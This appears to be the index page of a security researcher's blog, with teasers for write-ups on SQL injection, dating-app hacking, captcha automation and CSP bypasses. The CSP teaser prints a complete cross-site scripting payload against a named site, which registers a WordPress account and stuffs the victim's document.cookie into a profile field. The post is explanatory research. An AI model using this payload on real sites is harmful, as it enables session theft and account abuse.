-
Kinda LIKE SQL Injection
TLDR: This post is about some late 90’s level hacking. But the fact is, that there just doesn’t exist a decent explanation of this vulnerability anywhere on the internet.. and yesterday, in 2018, I found another application vulnerable to it (to quite serious effect). I’m afraid that was the straw that broke the camel’s back.…
-
Much Badoo About Nothing
This is just a short post about toying with the Badoo app for iOS, but also touches on something ever-so-slightly useful about testing the app-upgrade mechanisms of mobile apps. “Urghh more dating app hacking” I hear you say. I know, I know, this is getting old. At some point i’ll get a real hobby, I promise.
-
‘App Forgery’
In this (pretty long) post, I’m going to attempt to coin a name for an application vulnerability, most commonly found in mobile apps. This is “App Forgery”.
-
The Happn’ing
Years ago, one of the first posts I ever wrote was about my experience scripting a bot for the dating site OKCupid. It was just a PoC bashed together over a few beers with a friend. Since then (and becoming single) I’ve scripted bits and bobs for virtually every major dating site/app… its become a bit…
-
Ready the Anti-BEAM Beam! Breaking the Virgin BEAM app in 12 minutes
I’ve been travelling on Virgin trains a lot recently and finally decided to take a look at their free movie-streaming app “BEAM”. Super-excited to be about to watch Forest Gump on my journey, I found that whenever I hit play, the app’s custom video-player decided to freeze and eventually crash the app on my device of…
-
PentestCTF – Another CTF Framework
Instead of doing my final-year project at University, I made (another) open-source CTF/Lab framework, primarily for my own learning benefit during its development, but also because I realised how powerful a group learning environment like a CTF is and I wanted to deploy one at my University. Keep reading to learn more…
-
A 3D-Printed home for the JTAGulator
Super-quick post… I 3D printed a case for my friend’s JTAGulator and it came out pretty well, so I thought i’d share it.
-
SQL Injection using System Variables in MySQL
For BSides Manchester 2015, the UK pen-testing company aptly named ‘Pentest Ltd’ held a SQL injection challenge where the injection point required structuring the payload in a specific manner with MySQL voodoo to keep the payload under 90 characters, and bypass a basic WAF. I was fairly certain the lab could also be accomplished using MySQL variables, but…
-
Gotta Captcha’m All – Automating Image (and Audio!) Captchas.
A captcha serves one purpose. To ensure that a human has performed a task, and not a machine. In web applications, they attempt to prevent attackers from creating automated bits of code to brute-force forms, fuzz user input or cause a denial of service. Its very much a non-trivial task these days to differentiate the man…
-
"Bypassing" CSP’s Data-Exfiltration Protections
A long time ago now, I tweeted a challenge to see of anyone knew what the following URL would attempt to do: http://www.insta-mapper.com/google_map.php?device_id=1234′;$.ajax({url:’/wp-login.php?action=register’,type:’POST’,data:”user_login=’dr’&user_email=’dr@evil.com’&gclient_id=&gredirect_uri=http://www.insta-mapper.com/&state_uri=http://www.insta-mapper.com&client_id=721352147882378&redirect_uri=http://www.insta-mapper.com&ws_plugin__s2member_registration=e4e7762e6a&ws_plugin__s2member_custom_reg_field_user_pass1=’123456’&ws_plugin__s2member_custom_reg_field_user_pass2=’123456’&ws_plugin__s2member_custom_reg_field_first_name=’d’&ws_plugin__s2member_custom_reg_field_last_name=’r’&ws_plugin__s2member_custom_reg_field_address_1=’1’&ws_plugin__s2member_custom_reg_field_address_2=&ws_plugin__s2member_custom_reg_field_city=s&ws_plugin__s2member_custom_reg_field_country=u&ws_plugin__s2member_custom_reg_field_mobile_devices='” encodeURI(document.cookie) “‘&ws_plugin__s2member_custom_reg_field_mobile_devices2=Apple&redirect_to=&wp-submit=Register”});var lol=’a Don’t worry, I don’t expect you to stare at that monstrosity. Instead I’ll just tell you; So a friend of mine was competing in WhiteHatRally last year, which is a sort…
-
Subscribe
Subscribed
Have a WordPress.com account? Log in now.
